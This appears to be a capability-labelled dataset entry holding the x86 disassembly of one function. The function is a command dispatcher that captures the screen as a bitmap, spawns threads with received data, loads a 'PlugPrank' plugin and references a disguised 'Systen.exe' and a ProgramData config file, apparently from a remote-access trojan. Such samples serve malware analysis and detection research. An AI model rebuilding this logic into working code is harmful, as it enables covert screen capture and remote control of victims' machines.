Function at 0x40c4ae
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435a60
mov eax, dword fs:[0]
push eax
sub esp, 0xd2c
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xd38], edi
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xd2c], esi
mov dword [ebp - 0xd20], ecx
movzx eax, byte [esi]
cmp eax, 0xad
ja case.0x40a34c.2
movzx eax, byte [eax + 0x40d0b4]
jmp dword [eax*4 + 0x40cf84]
cmp byte [esi + 1], 0
jne case.0x40a34c.2
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
mov dword [ebp - 0xd20], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0xd2c], eax
call esi
push 0xa
push dword [ebp - 0xd20]
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push dword [ebp - 0xd20]
mov dword [ebp - 0xd24], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [ebp - 0xd2c]
mov dword [ebp - 0xd34], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0xd20]
push esi
push edi
push 0
push 0
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2e8], edi
shl edi, 5
mov dword [ebp - 0x2e4], esi
mov dword [ebp - 0x2ec], 0x28
mov dword [ebp - 0x2e0], 0x200001
lea eax, [edi + 0x1f]
mov dword [ebp - 0x2cc], 0
cdq
and edx, 0x1f
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2d4], 0
lea edi, [edx + eax]
mov dword [ebp - 0x2d0], 0
sar edi, 5
mov eax, 0x4d42
imul edi, esi
mov word [ebp - 0x20], ax
xor eax, eax
mov dword [ebp - 0x16], 0x36
mov dword [ebp - 0x1a], eax
shl edi, 2
push edi
lea esi, [edi + 0x36]
mov dword [ebp - 0x1e], esi
call fcn.0041383c
push edi
push 0
push eax
mov dword [ebp - 0xd30], eax
call fcn.004166e0
add esp, 0x10
lea eax, [ebp - 0x2ec]
push 0
push eax
push dword [ebp - 0xd30]
push dword [ebp - 0xd24]
push 0
push dword [ebp - 0xd34]
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
call fcn.0041383c
mov esi, eax
mov dword [ebp - 0xd18], esi
lea eax, [edi + 0x36]
push eax
push 0
push esi
call fcn.004166e0
movq xmm0, qword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ax, word [ebp - 0x14]
movq qword [esi], xmm0
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
lea eax, [esi + 0x36]
movups xmm0, xmmword [ebp - 0x2ec]
push edi
push dword [ebp - 0xd30]
movups xmmword [esi + 0xe], xmm0
push eax
movups xmm0, xmmword [ebp - 0x2dc]
movups xmmword [esi + 0x1e], xmm0
movq xmm0, qword [ebp - 0x2cc]
movq qword [esi + 0x2e], xmm0
call fcn.00416160
lea esi, [edi + 0x38]
push esi
call fcn.0041383c
push dword [ebp - 0x1e]
mov edi, eax
push dword [ebp - 0xd18]
lea edx, [edi + 2]
mov word [edi], 0xa9
push edx
call fcn.00416160
mov ecx, dword [ebp - 0xd38]
add esp, 0x2c
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.00401bb0
push dword [ebp - 0xd34]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0xd2c]
call esi
push dword [ebp - 0xd20]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0xd18]
call fcn.00413845
push dword [ebp - 0xd30]
call fcn.00413845
push edi
call fcn.00413845
add esp, 0xc
jmp case.0x40a34c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a5f0
test dl, dl
je 0x40a5ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a5f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a5d0
xor eax, eax
jmp 0x40a5f5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov dword [ebp - 0x20], 0x402060
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
je 0x40a618
mov dword [ebp - 0x20], 0x4020c0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 0xfac]
mov dword [edi + eax*4 + 0xc], esi
inc dword [edi + 0xfac]
jmp case.0x40a34c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a6c6
test dl, dl
je 0x40a6c2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a6c6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a6a6
xor eax, eax
jmp 0x40a6cb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a6ec
mov dword [ebp - 0x20], 0x402120
jmp 0x40a618
mov dword [ebp - 0x20], 0x402180
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a760
test dl, dl
je 0x40a75c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a760
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a740
xor eax, eax
jmp 0x40a765
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a786
mov dword [ebp - 0x20], 0x4021e0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402240
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a7f3
test dl, dl
je 0x40a7ef
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a7f3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a7d3
xor eax, eax
jmp 0x40a7f8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a819
mov dword [ebp - 0x20], 0x4022a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402300
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a886
test dl, dl
je 0x40a882
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a886
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a866
xor eax, eax
jmp 0x40a88b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a8ac
mov dword [ebp - 0x20], 0x402360
jmp 0x40a618
mov dword [ebp - 0x20], 0x4023c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a920
test dl, dl
je 0x40a91c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a920
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a900
xor eax, eax
jmp 0x40a925
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a946
mov dword [ebp - 0x20], 0x402420
jmp 0x40a618
mov dword [ebp - 0x20], 0x402480
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9b3
test dl, dl
je 0x40a9af
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9b3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a993
xor eax, eax
jmp 0x40a9b8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a9d9
mov dword [ebp - 0x20], 0x4024e0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402540
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa46
test dl, dl
je 0x40aa42
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa46
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aa26
xor eax, eax
jmp 0x40aa4b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aa6c
mov dword [ebp - 0x20], 0x4025a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402600
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aae0
test dl, dl
je 0x40aadc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aae0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aac0
xor eax, eax
jmp 0x40aae5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab06
mov dword [ebp - 0x20], 0x402660
jmp 0x40a618
mov dword [ebp - 0x20], 0x4026c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ab73
test dl, dl
je 0x40ab6f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ab73
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ab53
xor eax, eax
jmp 0x40ab78
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab99
mov dword [ebp - 0x20], 0x402720
jmp 0x40a618
mov dword [ebp - 0x20], 0x402780
jmp 0x40a618
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x409e70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd20]
push 4
dec eax
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ac60
test dl, dl
je 0x40ac5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ac60
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ac40
xor eax, eax
jmp 0x40ac65
sbb eax, eax
or eax, 1
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
jne 0x40acc1
mov dword [ebp - 0x20], 0x4027e0
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a650
mov dword [ebp - 0x20], 0x402840
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a650
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ad64
test dl, dl
je 0x40ad60
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ad64
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ad44
xor eax, eax
jmp 0x40ad69
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ad8a
mov dword [ebp - 0x20], 0x4028a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402900
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40adf7
test dl, dl
je 0x40adf3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40adf7
add eax, 2
add ecx, 2
test dl, dl
jne 0x40add7
xor eax, eax
jmp 0x40adfc
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ae1d
mov dword [ebp - 0x20], 0x402960
jmp 0x40a618
mov dword [ebp - 0x20], 0x4029c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ae90
test dl, dl
je 0x40ae8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ae90
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae70
xor eax, eax
jmp 0x40ae95
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aeb6
mov dword [ebp - 0x20], 0x402960
jmp 0x40a618
mov dword [ebp - 0x20], 0x402a20
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40af23
test dl, dl
je 0x40af1f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40af23
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af03
xor eax, eax
jmp 0x40af28
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40af49
mov dword [ebp - 0x20], 0x402a80
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ae0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40afb6
test dl, dl
je 0x40afb2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40afb6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af96
xor eax, eax
jmp 0x40afbb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40afdc
mov dword [ebp - 0x20], 0x402b40
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ba0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b050
test dl, dl
je 0x40b04c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b050
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b030
xor eax, eax
jmp 0x40b055
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b076
mov dword [ebp - 0x20], 0x402c00
jmp 0x40a618
mov dword [ebp - 0x20], 0x402c60
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b0e3
test dl, dl
je 0x40b0df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b0e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b0c3
xor eax, eax
jmp 0x40b0e8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b109
mov dword [ebp - 0x20], 0x402cc0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402d20
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b176
test dl, dl
je 0x40b172
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b176
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b156
xor eax, eax
jmp 0x40b17b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b19c
mov dword [ebp - 0x20], 0x402d80
jmp 0x40a618
mov dword [ebp - 0x20], 0x402de0
jmp 0x40a618
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403db0
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b260
test dl, dl
je 0x40b25c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b260
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b240
xor eax, eax
jmp 0x40b265
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b286
mov dword [ebp - 0x20], 0x402e40
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ea0
jmp 0x40a618
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x402f00
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.0x40a34c.2
mov eax, dword [ebp - 0xd20]
lea ecx, [esi + 2]
add eax, 0xfffffffe
push eax
push ecx
push edi
call fcn.00416160
movzx eax, byte [esi + 1]
add esp, 0xc
mov ecx, edi
mov dword [ebp - 0xd24], eax
call fcn.00411270
mov esi, eax
test esi, esi
je 0x40b35c
mov edx, str.PlugPrank
mov ecx, esi
call fcn.004115e0
push 0x44a490
push dword [ebp - 0xd24]
push 0x441616
call eax
add esp, 0xc
mov ecx, esi
call fcn.00411670
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp case.0x40a34c.2
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403eb0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403d00
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov dword [ebp - 0x20], 0x408320
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov dword [ebp - 0x20], 0x408330
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408360
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408390
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x4083c0
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x4083f0
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408420
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408450
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408480
jmp 0x40b3aa
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x408680
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov ax, word [0x440ef4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0xa
movq xmm0, qword [str.Systen.exe]
mov dword [ebp - 0x234], 0xf
movq qword [ebp - 0x248], xmm0
mov word [ebp - 0x240], ax
mov byte [ebp - 0x23e], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 0
call fcn.0040a230
push 0
test al, al
je 0x40b4a6
push str.C:ProgramDatagotohttp.ini
call fcn.0041d040
add esp, 8
cmp eax, 0xffffffff
je 0x40b526
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf45
jmp 0x40b570
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 2
push 0
